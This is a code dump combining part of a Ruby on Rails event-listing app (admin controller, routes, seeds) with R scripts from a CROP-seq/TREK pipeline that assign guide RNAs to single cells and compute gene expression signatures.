<file_sep>/app/controllers/admin/events_controller.rb
class Admin::EventsController < ApplicationController
layout "admin"
def index
@events = Event.paginate(:page => params[:page], :per_page => 9).order('id')
end
def show
@event = Event.find(params[:id])
@org_id = Event.find(params[:id]).organizer_id
@organizer = Organizer.find(@org_id)
end
def new
@event = Event.new
end
def create
@event = Event.new(event_params)
if (@event.save)
redirect_to admin_events_url
else
render 'admin/events/new'
end
end
def edit
@event = Event.find(params[:id])
end
def update
@event = Event.find(params[:id])
if (@event.update(event_params))
redirect_to admin_event_url
else
render 'admin/events/edit'
end
end
def destroy
@event = Event.find(params[:id])
@event.destroy
redirect_to admin_events_url
end
private def event_params
params.require(:event).permit(:name, :city, :address,
:description, :image, :date,
:external_link, :organizer_id)
end
end
<file_sep>/config/routes.rb
Rails.application.routes.draw do
devise_for :users
root 'events#index', as: 'home'
get 'organizers' => 'organizers#index'
get 'admin' => 'admin/events#index'
resources 'events', 'organizers'
namespace :admin do
resources :events
end
end
<file_sep>/db/seeds.rb
# This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup).
#
# Examples:
#
# movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }])
# Character.create(name: 'Luke', movie: movies.first)
orgs = Organizer.create(name: '<NAME>',
description: ' американский программист и предприниматель в области интернет-технологий, долларовый миллиардер, один из разработчиков и основателей социальной сети Facebook. Руководитель компании Facebook Inc.',
image: 'org_images/mark_zuckerberg.jpg') | 1148946a6ed337be41759c1c933c4c6ac1183b65 | [
"Ruby"
] | 9 | Ruby | ITyuri/MyProject | 80aecbea9de22442e965c66452c45320aa278f9f | 4149d14b27be5c72489e43462b1c36f74cfed2db |
refs/heads/master | <repo_name>ShawnyTan/TREK<file_sep>/scripts/TREK_gRNAassign.R
print("============================================================")
print("Description:")
print("TREK analysis: assigning gRNA labels to cells")
print("Compulsory Arguments:")
print("--workDir= full working directory where results will be generated")
print("--ExpFile= full path to pre-processed expression matrix")
print("--BarcodeFile= full path to barcode alignment results generated by barcdode aligning script")
print("--AnnoFile= full path to barcode annotation file")
print("--jobName= name of the CellRanger run")
print("Optional Arguments:")
print("--DominanceRatio= ratio threshold for a gRNA to be considered as dominant n default is 5")
print("--UMIthreshold= minimum UMI count for a gRNA to be considered")
print("=============================================================")
print("\n")
#manual
args <- commandArgs(trailingOnly = T)
###########################################################################
### full working directory where results will be generated
workDir <- args[grep("--workDir=", args)]
workDir <- substr(workDir, 11, nchar(workDir))
print("Working directory:")
print(workDir)
###########################################################################
### full path to pre-processed expression matrix
ExpFile <- args[grep("--ExpFile=", args)]
ExpFile <- substr(ExpFile, 11, nchar(ExpFile))
print("ExpFile:")
print(ExpFile)
###########################################################################
### full path to barcode alignment results generated by barcdode aligning script
CROPseqBCFile <- args[grep("--CROPseqBCFile=", args)]
CROPseqBCFile <- substr(CROPseqBCFile, 17, nchar(CROPseqBCFile))
print("CROPseqBCFile:")
print(CROPseqBCFile)
###########################################################################
###/full/path/to/barcode/alignment/results/generated/by/barcdode/aligning/script
CellRangerBCFile <- args[grep("--CellRangerBCFile=", args)]
CellRangerBCFile <- substr(CellRangerBCFile, 20, nchar(CellRangerBCFile))
print("CellRangerBCFile:")
print(CellRangerBCFile)
###########################################################################
### full path to barcode alignment results generated by barcdode aligning script
AnnoFile <- args[grep("--AnnoFile=", args)]
AnnoFile <- substr(AnnoFile, 12, nchar(AnnoFile))
print("AnnoFile:")
print(AnnoFile)
###########################################################################
### name of the CROP-seq run
jobName <- args[grep("--jobName=", args)]
jobName <- substr(jobName, 11, nchar(jobName))
print("Job name:")
print(jobName)
##########################################################################
### ratio threshold for a gRNA to be considered as dominant default is 5
DominanceRatio <- args[grep("--DominanceRatio=", args)]
DominanceRatio <- as.numeric(substr(DominanceRatio, 18, nchar(DominanceRatio)))
print("Dominance ratio:")
print(DominanceRatio)
##########################################################################
### minimum UMI count for a gRNA to be considered
UMIthreshold <- args[grep("--UMIthreshold=", args)]
UMIthreshold <- as.numeric(substr(UMIthreshold, 16, nchar(UMIthreshold)))
print("UMI threshold of gRNA calling:")
print(UMIthreshold)
##########################################################################
### maximum mismatch allowed for cell barcode
CellBCorrection <- args[grep("--CellBCorrection=", args)]
CellBCorrection <- as.numeric(substr(CellBCorrection, 19, nchar(CellBCorrection)))
print("Maximum mismatch allowed for cell barcode, at most 3:")
print(CellBCorrection)
#arguments
##############################################################################################
### Function: Ratio_gRNA_assign
### Assign gRNA to cells using Ratio method.
### Args:
### gRNA_exprs_mat: gRNA expression matrix
### ratio: minimum ratio between dominant gRNA and minor gRNAs, default=5
### UMI_thres: minimum UMI count for a gRNA to be considered, defualt=2
Ratio_gRNA_assign <- function(gRNA_exprs_mat,ratio=5,UMI_thres=2){
assignment <- apply(gRNA_exprs_mat, 2, function(v){
v <- sort(v,decreasing = T)
# if no gRNA got >= [UMI_thres] read, consider gRNA_No.=0 #
if (v[1]<UMI_thres) return(c())
else {
# if there is a dominant gRNA (at least [ratio] times more reads than second gRNA) #
ans = c(names(v)[1])
if (v[1]>(ratio*v[2])) return(ans)
# multiple gRNAs #
else {
i=2
while ((v[1]<=(v[i]*ratio))&(v[i]>=UMI_thres)) {
ans=c(ans,names(v)[i])
i=i+1
}
return(ans)
}
}
})
return(assignment)
}
##############################################################################################
### Function: Plot_gRNA_stackHist_UMI
### Make stack histograms of gRNA No. distribution by UMI per cell.
### Args:
### exprs: single-cell expression matrix
### gRNA_assigned: gRNA labels associated with the cells in exprs
Plot_gRNA_stackHist_UMI <- function(exprs,gRNA_assigned){
gRNA_No._assigned<-sapply(gRNA_assigned, length)
guide_No._per_cell <- gRNA_No._assigned
UMI_per_cell <- apply(exprs, 2, sum)
UMI_tiers <- round(quantile(UMI_per_cell,(0:6/6)),-3)
assign_UMI<- data.frame(
UMI_tier_1 = c(sum(guide_No._per_cell==0&UMI_per_cell>UMI_tiers[1]&UMI_per_cell<=UMI_tiers[2])/sum(UMI_per_cell>UMI_tiers[1]&UMI_per_cell<=UMI_tiers[2]),
sum(guide_No._per_cell==1&UMI_per_cell>UMI_tiers[1]&UMI_per_cell<=UMI_tiers[2])/sum(UMI_per_cell>UMI_tiers[1]&UMI_per_cell<=UMI_tiers[2]),
sum(guide_No._per_cell>1&UMI_per_cell>UMI_tiers[1]&UMI_per_cell<=UMI_tiers[2])/sum(UMI_per_cell>UMI_tiers[1]&UMI_per_cell<=UMI_tiers[2])),
UMI_tier_2 = c(sum(guide_No._per_cell==0&UMI_per_cell>UMI_tiers[2]&UMI_per_cell<=UMI_tiers[3])/sum(UMI_per_cell>UMI_tiers[2]&UMI_per_cell<=UMI_tiers[3]),
sum(guide_No._per_cell==1&UMI_per_cell>UMI_tiers[2]&UMI_per_cell<=UMI_tiers[3])/sum(UMI_per_cell>UMI_tiers[2]&UMI_per_cell<=UMI_tiers[3]),
sum(guide_No._per_cell>1&UMI_per_cell>UMI_tiers[2]&UMI_per_cell<=UMI_tiers[3])/sum(UMI_per_cell>UMI_tiers[2]&UMI_per_cell<=UMI_tiers[3])),
UMI_tier_3 = c(sum(guide_No._per_cell==0&UMI_per_cell>UMI_tiers[3]&UMI_per_cell<=UMI_tiers[4])/sum(UMI_per_cell>UMI_tiers[3]&UMI_per_cell<=UMI_tiers[4]),
sum(guide_No._per_cell==1&UMI_per_cell>UMI_tiers[3]&UMI_per_cell<=UMI_tiers[4])/sum(UMI_per_cell>UMI_tiers[3]&UMI_per_cell<=UMI_tiers[4]),
sum(guide_No._per_cell>1&UMI_per_cell>UMI_tiers[3]&UMI_per_cell<=UMI_tiers[4])/sum(UMI_per_cell>UMI_tiers[3]&UMI_per_cell<=UMI_tiers[4])),
UMI_tier_4 = c(sum(guide_No._per_cell==0&UMI_per_cell>UMI_tiers[4]&UMI_per_cell<=UMI_tiers[5])/sum(UMI_per_cell>UMI_tiers[4]&UMI_per_cell<=UMI_tiers[5]),
sum(guide_No._per_cell==1&UMI_per_cell>UMI_tiers[4]&UMI_per_cell<=UMI_tiers[5])/sum(UMI_per_cell>UMI_tiers[4]&UMI_per_cell<=UMI_tiers[5]),
sum(guide_No._per_cell>1&UMI_per_cell>UMI_tiers[4]&UMI_per_cell<=UMI_tiers[5])/sum(UMI_per_cell>UMI_tiers[4]&UMI_per_cell<=UMI_tiers[5])),
UMI_tier_5 = c(sum(guide_No._per_cell==0&UMI_per_cell>UMI_tiers[5]&UMI_per_cell<=UMI_tiers[6])/sum(UMI_per_cell>UMI_tiers[5]&UMI_per_cell<=UMI_tiers[6]),
sum(guide_No._per_cell==1&UMI_per_cell>UMI_tiers[5]&UMI_per_cell<=UMI_tiers[6])/sum(UMI_per_cell>UMI_tiers[5]&UMI_per_cell<=UMI_tiers[6]),
sum(guide_No._per_cell>1&UMI_per_cell>UMI_tiers[5]&UMI_per_cell<=UMI_tiers[6])/sum(UMI_per_cell>UMI_tiers[5]&UMI_per_cell<=UMI_tiers[6])),
UMI_tier_6 = c(sum(guide_No._per_cell==0&UMI_per_cell>UMI_tiers[6]&UMI_per_cell<=UMI_tiers[7])/sum(UMI_per_cell>UMI_tiers[6]&UMI_per_cell<=UMI_tiers[7]),
sum(guide_No._per_cell==1&UMI_per_cell>UMI_tiers[6]&UMI_per_cell<=UMI_tiers[7])/sum(UMI_per_cell>UMI_tiers[6]&UMI_per_cell<=UMI_tiers[7]),
sum(guide_No._per_cell>1&UMI_per_cell>UMI_tiers[6]&UMI_per_cell<=UMI_tiers[7])/sum(UMI_per_cell>UMI_tiers[6]&UMI_per_cell<=UMI_tiers[7]))
)
pdf(file = paste0("gRNA_StackHist_byUMI_",jobName,".pdf"),width = 14,height = 14)
par(lwd=2,xpd=T,mar=c(5,5,2,10))
barplot(as.matrix(assign_UMI)[c(2,1,3),],col = c("cyan3","gray","firebrick3"),lwd=2,ylab="Percentage of cells",cex.lab=1.5,xaxt='n',xlab="UMI_per_cell")
axis(1,at=(1:7)/0.833-1.09,lwd=2,labels = UMI_tiers)
legend("topright",fill = c("firebrick3","gray","cyan3"),title="Cells",inset = c(-0.17,0),
legend = c("multiple-gRNA cell","zero-gRNA cells","unique-gRNA cells"))
dev.off()
}
##############################################################################################
### Function: Plot_gRNA_stackHist_Gene
### Make stack histograms of gRNA No. distribution by Gene per cell.
### Args:
### exprs: single-cell expression matrix
### gRNA_assigned: gRNA labels associated with the cells in exprs
Plot_gRNA_stackHist_Gene <- function(exprs,gRNA_assigned){
gRNA_No._assigned<-sapply(gRNA_assigned, length)
guide_No._per_cell <- gRNA_No._assigned
gene_per_cell <- apply(exprs, 2, function(v){sum(v>1)})
gene_tiers <- round(quantile(gene_per_cell,(0:6/6)),-2)
assign_gene<- data.frame(
gene_tier_1 = c(sum(guide_No._per_cell==0&gene_per_cell>gene_tiers[1]&gene_per_cell<=gene_tiers[2])/sum(gene_per_cell>gene_tiers[1]&gene_per_cell<=gene_tiers[2]),
sum(guide_No._per_cell==1&gene_per_cell>gene_tiers[1]&gene_per_cell<=gene_tiers[2])/sum(gene_per_cell>gene_tiers[1]&gene_per_cell<=gene_tiers[2]),
sum(guide_No._per_cell>1&gene_per_cell>gene_tiers[1]&gene_per_cell<=gene_tiers[2])/sum(gene_per_cell>gene_tiers[1]&gene_per_cell<=gene_tiers[2])),
gene_tier_2 = c(sum(guide_No._per_cell==0&gene_per_cell>gene_tiers[2]&gene_per_cell<=gene_tiers[3])/sum(gene_per_cell>gene_tiers[2]&gene_per_cell<=gene_tiers[3]),
sum(guide_No._per_cell==1&gene_per_cell>gene_tiers[2]&gene_per_cell<=gene_tiers[3])/sum(gene_per_cell>gene_tiers[2]&gene_per_cell<=gene_tiers[3]),
sum(guide_No._per_cell>1&gene_per_cell>gene_tiers[2]&gene_per_cell<=gene_tiers[3])/sum(gene_per_cell>gene_tiers[2]&gene_per_cell<=gene_tiers[3])),
gene_tier_3 = c(sum(guide_No._per_cell==0&gene_per_cell>gene_tiers[3]&gene_per_cell<=gene_tiers[4])/sum(gene_per_cell>gene_tiers[3]&gene_per_cell<=gene_tiers[4]),
sum(guide_No._per_cell==1&gene_per_cell>gene_tiers[3]&gene_per_cell<=gene_tiers[4])/sum(gene_per_cell>gene_tiers[3]&gene_per_cell<=gene_tiers[4]),
sum(guide_No._per_cell>1&gene_per_cell>gene_tiers[3]&gene_per_cell<=gene_tiers[4])/sum(gene_per_cell>gene_tiers[3]&gene_per_cell<=gene_tiers[4])),
gene_tier_4 = c(sum(guide_No._per_cell==0&gene_per_cell>gene_tiers[4]&gene_per_cell<=gene_tiers[5])/sum(gene_per_cell>gene_tiers[4]&gene_per_cell<=gene_tiers[5]),
sum(guide_No._per_cell==1&gene_per_cell>gene_tiers[4]&gene_per_cell<=gene_tiers[5])/sum(gene_per_cell>gene_tiers[4]&gene_per_cell<=gene_tiers[5]),
sum(guide_No._per_cell>1&gene_per_cell>gene_tiers[4]&gene_per_cell<=gene_tiers[5])/sum(gene_per_cell>gene_tiers[4]&gene_per_cell<=gene_tiers[5])),
gene_tier_5 = c(sum(guide_No._per_cell==0&gene_per_cell>gene_tiers[5]&gene_per_cell<=gene_tiers[6])/sum(gene_per_cell>gene_tiers[5]&gene_per_cell<=gene_tiers[6]),
sum(guide_No._per_cell==1&gene_per_cell>gene_tiers[5]&gene_per_cell<=gene_tiers[6])/sum(gene_per_cell>gene_tiers[5]&gene_per_cell<=gene_tiers[6]),
sum(guide_No._per_cell>1&gene_per_cell>gene_tiers[5]&gene_per_cell<=gene_tiers[6])/sum(gene_per_cell>gene_tiers[5]&gene_per_cell<=gene_tiers[6])),
gene_tier_6 = c(sum(guide_No._per_cell==0&gene_per_cell>gene_tiers[6]&gene_per_cell<=gene_tiers[7])/sum(gene_per_cell>gene_tiers[6]&gene_per_cell<=gene_tiers[7]),
sum(guide_No._per_cell==1&gene_per_cell>gene_tiers[6]&gene_per_cell<=gene_tiers[7])/sum(gene_per_cell>gene_tiers[6]&gene_per_cell<=gene_tiers[7]),
sum(guide_No._per_cell>1&gene_per_cell>gene_tiers[6]&gene_per_cell<=gene_tiers[7])/sum(gene_per_cell>gene_tiers[6]&gene_per_cell<=gene_tiers[7]))
)
pdf(file = paste0("gRNA_StackHist_byGene_",jobName,".pdf"),width = 14,height = 14)
par(lwd=2,xpd=T,mar=c(5,5,2,10))
barplot(as.matrix(assign_gene)[c(2,1,3),],col = c("cyan3","gray","firebrick3"),lwd=2,ylab="Percentage of cells",cex.lab=1.5,xaxt='n',xlab="gene_per_cell")
axis(1,at=(1:7)/0.833-1.09,lwd=2,labels = gene_tiers)
legend("topright",fill = c("firebrick3","gray","cyan3"),title="Cells",inset = c(-0.17,0),
legend = c("multiple-gRNA cell","zero-gRNA cells","unique-gRNA cells"))
dev.off()
}
##############################################################################################
Plot_gRNAp_per_Cell <- function(exprs_gRNA,UMIthreshold,DominanceRatio,source){
# Without consider dominance
gRNA_No. <- apply(exprs_gRNA, 2, function(v){length(which(v>=UMIthreshold))})
# Plot histogram.
pdf(paste0("NumberOfGuideRNAPerCell_WithoutDominance_",source,".pdf"),width=7,height=7)
par(lwd=2)
hist(gRNA_No.,probability = T,right = F,ylim = c(0,1),lwd=2,font=2,cex.lab=1.5,xaxt='n',
main="Number of gRNA per cell - without considering dominance",xlab = "Number of gRNA",
breaks = 0:(max(gRNA_No.)+1))
axis(1,at=0:(max(gRNA_No.)+1),lwd=2,font=2,labels = F)
axis(1,at=0:max(gRNA_No.)+0.5,lwd=2,font=2,labels = 0:max(gRNA_No.),tick = 0)
dev.off()
# Considering dominance
gRNA_assigned <- Ratio_gRNA_assign(exprs_gRNA,ratio = DominanceRatio,UMI_thres = UMIthreshold)
gRNA_No._assigned<-sapply(gRNA_assigned, length)
print(paste0("No. of unique gRNA cells: ",sum(gRNA_No._assigned==1)))
print(paste0("No. of unidentifiable cells: ",sum(gRNA_No._assigned==0)))
print(paste0("No. of multi-gRNA cells: ",sum(gRNA_No._assigned>1)))
# Plot histogram.
pdf(paste0("NumberOfGuideRNAPerCell_WithDominance_",source,".pdf"),width=7,height=7)
par(lwd=2)
hist(gRNA_No._assigned, probability = T,right = F,ylim = c(0,1),lwd=2,font=2,cex.lab=1.5,breaks = 0:(max(gRNA_No._assigned)+1),
main="Number of gRNA per cell - considering dominance",xlab = "Number of gRNA",xaxt='n')
axis(1,at=0:(max(gRNA_No._assigned)+1),lwd=2,font=2,labels = F)
axis(1,at=0:max(gRNA_No._assigned)+0.5,lwd=2,font=2,labels = 0:max(gRNA_No._assigned),tick = 0)
dev.off()
}
##############################################################################################
gRNA_Consolidate <- function(exprs_gRNA_CROPseq,exprs_gRNA_CellRanger){
gRNA_assign_CROPseq <- Ratio_gRNA_assign(exprs_gRNA_CROPseq,DominanceRatio,UMIthreshold)
gRNA_assign_CellRanger <- Ratio_gRNA_assign(exprs_gRNA_CellRanger,DominanceRatio,UMIthreshold)
gRNA_assign <- sapply(names(gRNA_assign_CROPseq), function(c){
if(is.null(gRNA_assign_CROPseq[[c]]) & is.null(exprs_gRNA_CellRanger[[c]])) return(NULL)
if(is.null(gRNA_assign_CROPseq[[c]]) & !is.null(exprs_gRNA_CellRanger[[c]])) return(exprs_gRNA_CellRanger[[c]])
if(!is.null(gRNA_assign_CROPseq[[c]]) & is.null(exprs_gRNA_CellRanger[[c]])) return(gRNA_assign_CROPseq[[c]])
if(length(gRNA_assign_CROPseq[[c]])==1 & length(exprs_gRNA_CellRanger[[c]])==1) {
if(gRNA_assign_CROPseq[[c]] == exprs_gRNA_CellRanger[[c]]) return(gRNA_assign_CROPseq[[c]])
else return(c(gRNA_assign_CROPseq[[c]],exprs_gRNA_CellRanger[[c]]))
}
if(length(gRNA_assign_CROPseq[[c]])>1 | length(exprs_gRNA_CellRanger[[c]])>1)
return(unique(c(gRNA_assign_CROPseq[[c]],exprs_gRNA_CellRanger[[c]])))
})
}
setwd(workDir)
##################################### Count CROPseq gRNA counts #######################################
load(ExpFile)
### Correcting chimeric barcode enrichemment ################################################
cells <- colnames(exprs)
# Load chimeric-corrected library.
processed_barcode <- as.matrix(read.table(CROPseqBCFile,header = T))
# Get rid of unmapped barcode.
processed_barcode <- processed_barcode[-grep("unprocessed",processed_barcode[,2]),]
# Get rid of undetected cells.
unique_cells <- unique(processed_barcode[,1])
match <- sapply(unique_cells, function(s){
if (s%in%cells) return(s)
ham.dist <- sapply(cells, function(c){e1071::hamming.distance(unlist(strsplit(s,"")),unlist(strsplit(c,"")))})
if (CellBCorrection>0) if (sum(ham.dist==1)==1) return(cells[ham.dist==1])
if (CellBCorrection>1) if ((sum(ham.dist==1)==0)&(sum(ham.dist==2)==1)) return(cells[ham.dist==2])
if (CellBCorrection>2) if ((sum(ham.dist==1)==0)&(sum(ham.dist==2)==0)&(sum(ham.dist==3)==1)) return(cells[ham.dist==3])
else return(NULL)
})
unique_cells <- unique_cells[!sapply(match,is.null)]
match <- as.character(match[!sapply(match,is.null)])
processed_barcode <- processed_barcode[processed_barcode[,1]%in%unique_cells,]
names(match) <- unique_cells
# Load gRNA annotation file.
barcode_annotation <- as.matrix(read.table(AnnoFile))
# Map.
barcode_gRNA <- sapply(processed_barcode[,2], function(b){
anno <- barcode_annotation[grep(b,toupper(barcode_annotation[,2])),1]
if (length(anno)>1) return(anno[1])
return(anno)
})
processed_barcode <- cbind(processed_barcode,paste0(barcode_gRNA,""))
# Adding to gRNA_exprs.
exprs_gRNA_CROPseq <- matrix(0,nrow = nrow(barcode_annotation),ncol = length(cells))
rownames(exprs_gRNA_CROPseq) <- paste0(barcode_annotation[,1],"")
colnames(exprs_gRNA_CROPseq) <- cells
for (i in 1:nrow(processed_barcode)) {
#print(processed_barcode[i,5])
exprs_gRNA_CROPseq[processed_barcode[i,5],match[processed_barcode[i,1]]] <- as.numeric(processed_barcode[i,4])
}
Plot_gRNAp_per_Cell(exprs_gRNA_CROPseq,UMIthreshold,DominanceRatio,"CROPseq")
#############################################################################################
CellRanger_Call <- as.matrix(read.csv(CellRangerBCFile))
barcode_annotation <- as.matrix(read.table(AnnoFile))
load(ExpFile)
exprs_gRNA_CellRanger <- matrix(0,nrow(barcode_annotation),ncol=ncol(exprs))
rownames(exprs_gRNA_CellRanger) <- barcode_annotation[,1]
colnames(exprs_gRNA_CellRanger) <- colnames(exprs)
for (i in 1:nrow(CellRanger_Call)) {
gRNAs <- as.numeric(gsub("TREK_SNU16_","",unlist(strsplit(as.character(CellRanger_Call[i,3]),split = "\\|"))))
umis <- as.numeric(unlist(strsplit(as.character(CellRanger_Call[i,4]),split = "\\|")))
for (j in 1:CellRanger_Call[i,2]) {
if(as.character(CellRanger_Call[i,1])%in%colnames(exprs_gRNA_CellRanger))
exprs_gRNA_CellRanger[gRNAs[j],as.character(CellRanger_Call[i,1])] <- umis[j]
}
}
Plot_gRNAp_per_Cell(exprs_gRNA_CellRanger,UMIthreshold,DominanceRatio,"CellRanger")
##############################################################################################
gRNA_assigned <- gRNA_Consolidate(exprs_gRNA_CROPseq,exprs_gRNA_CellRanger)
### By how many 1-gRNA&dCas9 cells each gRNA is covered? #####################################
gRNA_coverage <- rep(0,times=nrow(barcode_annotation))
names(gRNA_coverage) <- barcode_annotation[,1]
for (c in gRNA_assigned[gRNA_No._assigned==1]) gRNA_coverage[c]=gRNA_coverage[c] +1
pdf(paste0("NumberOfUniqueGuideCellsPerGuide_",jobName,".pdf"),width = 7,height = 7)
par(lwd=2)
# Plot histogram.
hist(gRNA_coverage,
probability = T,right = F,breaks = 0:max(gRNA_coverage+1),ylim = c(0,0.3),lwd=2,font=2,cex.lab=1.5,xaxt='n',
main="Number of unique-gRNA cells per gRNA",xlab = "Number of unique-gRNA cells")
axis(1,at=0:(max(gRNA_coverage)+1),lwd=2,font=2,labels = F)
axis(1,at=0:max(gRNA_coverage)+0.5,lwd=2,font=2,labels = 0:max(gRNA_coverage),tick = 0)
dev.off()
### Save gRNA assignment #####################################################################
save(gRNA_assigned,exprs_gRNA_CROPseq,exprs_gRNA_CellRanger,file = paste0(jobName,".rda"))
##############################################################################################
Plot_gRNA_stackHist_Gene(exprs,gRNA_assigned)
Plot_gRNA_stackHist_UMI(exprs,gRNA_assigned)
<file_sep>/scripts/TREK_GES.R
print("============================================================")
print("Description:")
print("CROP-seq analysis: Generate Gene Expression Signature for gRNA-aggregated pseudo-bulk samples")
print("Compulsory Arguments:")
print("--workDir=/full/working/directory/where/results/will/be/generated")
print("--ExpFile=/full/path/to/pre-processed/expression/matrix")
print("--gRNAFile=/full/path/to/gRNA/assignment/file/generated/by/gRNA/assigning/script")
print("--jobName=/name/of/the/CROP-seq/run")
print("Optional Arguments:")
print("--Normalization=/whether/to/use/scran/or/tpm/to/normalize/expression/n/scran/as/default/")
print("--ges_method=/whether/to/use/Perturb-seq/or/Even_pool/method/to/generate/GES/n/Perturb-seq/as/default")
print("--ges_cal_method=/whether/to/use/MAD/or/z(Zscore)/for/Perturb-seq/or/zscore/ttest/or/mean/for/Even_pool/method/to/calculate/GES/n/Zscore/as/default")
print("--bootstrap=/number/of/bootstraps/n/default/is/1000")
print("--pool_size=/number/of/cells/in/a/pool/in/Even_pool/default/is/10")
print("=============================================================")
print("\n")
#manual
args <- commandArgs(trailingOnly = T)
###########################################################################
###/full/working/directory/where/results/will/be/generated
workDir <- args[grep("--workDir=", args)]
workDir <- substr(workDir, 11, nchar(workDir))
print("working directory:")
print(workDir)
###########################################################################
###/full/path/to/pre-processed/expression/matrix
ExpFile <- args[grep("--ExpFile=", args)]
ExpFile <- substr(ExpFile, 11, nchar(ExpFile))
print("ExpFile:")
print(ExpFile)
###########################################################################
###/full/path/to/gRNA/assignment/file/generated/by/gRNA/assigning/script
gRNAFile <- args[grep("--gRNAFile=", args)]
gRNAFile <- substr(gRNAFile, 12, nchar(gRNAFile))
print("gRNAFile:")
print(gRNAFile)
###########################################################################
###/name/of/the/CROP-seq/run
jobName <- args[grep("--jobName=", args)]
jobName <- substr(jobName, 11, nchar(jobName))
print("job name:")
print(jobName)
##########################################################################
###/whether/to/use/scran/or/tpm/to/normalize/expression
Normalization <- args[grep("--Normalization=", args)]
Normalization <- substr(Normalization, 17, nchar(Normalization))
if (length(Normalization)==0) Normalization <- "scran"
print("Normalization method:")
print(Normalization)
##########################################################################
###/whether/to/use/Perturb-seq/or/Even_pool/method/to/generate/GES
ges_method <- args[grep("--ges_method=", args)]
ges_method <- substr(ges_method, 14, nchar(ges_method))
if (length(ges_method)==0) ges_method <- "Perturb-seq"
print("ges_method:")
print(ges_method)
##########################################################################
###/whether/to/use/MAD/or/Zscore/method/to/calculate/GES/n/Zscore/as/default
ges_cal_method <- args[grep("--ges_cal_method=", args)]
ges_cal_method <- substr(ges_cal_method, 18, nchar(ges_cal_method))
if (length(ges_method)==0) {
if (ges_method=="Perturb-seq") {
ges_cal_method <- "z"
} else {
ges_cal_method <- "zscore"
}
}
print("ges_cal_method:")
print(ges_cal_method)
##########################################################################
###/number/of/bootstraps/n/default/is/1000
bootstrap <- args[grep("--bootstrap=", args)]
bootstrap <- as.numeric(substr(bootstrap, 13, nchar(bootstrap)))
if (length(bootstrap)==0) bootstrap <- 1000
print("bootstrap:")
print(bootstrap)
##########################################################################
###pool_size=/number/of/cells/in/a/pool/in/Even_pool/default/is/10
pool_size <- args[grep("--pool_size=", args)]
pool_size <- as.numeric(substr(pool_size, 13, nchar(pool_size)))
if (length(pool_size)==0) pool_size <- 10
print("pool_size:")
print(pool_size)
##########################################################################
CellNoThres <- args[grep("--CellNoThres=", args)]
CellNoThres <- as.numeric(substr(CellNoThres, 15, nchar(CellNoThres)))
if (length(CellNoThres)==0) CellNoThres <- 1
print("CellNoThres:")
print(CellNoThres)
##########################################################################
Multi <- args[grep("--Multi=", args)]
Multi <- as.logical(substr(Multi, 9, nchar(Multi)))
if (length(Multi)==0) Multi <- F
print("Multi:")
print(Multi)
#arguments
suppressPackageStartupMessages(library(org.Hs.eg.db))
suppressPackageStartupMessages(library(pheatmap))
suppressPackageStartupMessages(library(scran))
set.seed(41)
##############################################################################################
### Function: MAD_sig
### Generate gene expression signature by MAD method.
### Return a vector representing gene expression signature.
### Args:
### sample: a vector representing normalized gene expression data of the sample.
### ref: a matrix representing normalized gene expression data of the reference set,
### rows representing genes and columns representing samples.
MAD_sig <- function(sample,ref) {
return(sapply(rownames(ref), function(row){
med <- median(ref[row,])
mad <- mad(ref[row,])
return((sample[row]-med)/mad)}))
}
##############################################################################################
### Function: z_sig
### Generate gene expression signature by z-score method.
### Return a vector representing gene expression signature.
### Args:
### sample: a vector representing normalized gene expression data of the sample.
### ref: a matrix representing normalized gene expression data of the reference set,
### rows representing genes and columns representing samples.
z_sig <- function(sample,ref) {
return(sapply(rownames(ref), function(row){
mean <- mean(ref[row,])
sd <- sd(ref[row,])
return((sample[row]-mean)/sd)}))
}
##############################################################################################
### Function: ges_perturb
### Generate gene expression signature matrix using Perturb-Seq (Weissman) method.
### Return a matrix representing gene expression signature.
### Args:
### exprs: a matrix representing normalized gene expression data of the samples including negative controls,
### rows representing genes and columns representing samples.
### gRNA_tags: a vector representing the gRNA tags of the samples in exprs
### method: method for calculating GES, "MAD" or "z"; default = "MAD"
### bootstrap: number of bootstraps, default = 1000
ges_perturb <- function(exprs,gRNA_tags,gRNAs,method=c("MAD","z"),bootstrap=1000) {
negative_group <- grep("CONTROL",gRNA_tags,ignore.case = T)
ges <- sapply(gRNAs, function(g){
### Get cell indexs. ###
cells <- grep(paste0(g,""),gRNA_tags)
### Calculate ges. ####
if (method=="MAD") {
if (length(cells)==0) return(rep(0,times=nrow(exprs)))
else if (length(cells)==1) {
g_sum <- exprs[,cells]
NC_pools <- sapply(1:bootstrap, function(i){
return(exprs[,sample(negative_group,length(cells),replace=T)])
})
return(MAD_sig(g_sum,NC_pools))
}
else {
g_sum <- rowSums(exprs[,cells])
NC_pools <- sapply(1:bootstrap, function(i){
return(rowSums(exprs[,sample(negative_group,length(cells),replace=T)]))})
return(MAD_sig(g_sum,NC_pools))
}
}
if (method=="z") {
if (length(cells)==0) return(rep(0,times=nrow(exprs)))
else if (length(cells)==1) {
g_sum <- exprs[,cells]
NC_pools <- sapply(1:bootstrap, function(i){
return(exprs[,sample(negative_group,length(cells),replace=T)])
})
return(z_sig(g_sum,NC_pools))
}
else {
g_sum <- rowSums(exprs[,cells])
NC_pools <- sapply(1:bootstrap, function(i){
return(rowSums(exprs[,sample(negative_group,length(cells),replace=T)]))})
return(z_sig(g_sum,NC_pools))
}
}
})
return(ges)
}
##############################################################################################
### Function: ges_even_pool
### Generate gene expression signature matrix using even_pool method.
### Return a matrix representing gene expression signature.
### Args:
### exprs: a matrix representing normalized gene expression data of the samples including negative controls,
### rows representing genes and columns representing samples.
### gRNA_tags: a vector representing the gRNA tags of the samples in exprs
### method: method for calculating GES, "zscore", "ttest" or "mean"; default = "zscore"
### bootstrap: number of bootstraps, default = 1000
### pool_size: the number of cells in each even pool, default = 10
ges_even_pool <- function(exprs,gRNA_tags,gRNAs,method=c("zscore","ttest","mean"),bootstrap=1000,pool_size=10) {
negative_group <- grep("CONTROL",gRNA_tags,ignore.case = T)
ges <- sapply(gRNAs, function(g){
### Get cell indexs. ###
cells <- grep(paste0(g,""),gRNA_tags)
### Calculate ges. ####
if (length(cells)==0) return(rep(0,times=nrow(exprs)))
else {
g_sum <- sapply(1:bootstrap, function(i){
return(rowSums(exprs[,sample(cells,pool_size,replace=T)]))
})
NC_pools <- sapply(1:bootstrap, function(i){
return(rowSums(exprs[,sample(negative_group,pool_size,replace=T)]))
})
sig <- viper::viperSignature(g_sum,NC_pools,method,verbose=T,seed=41)$signature
return(apply(sig, 1, median,na.rm=T))
}
})
return(ges)
}
###############################################################################################
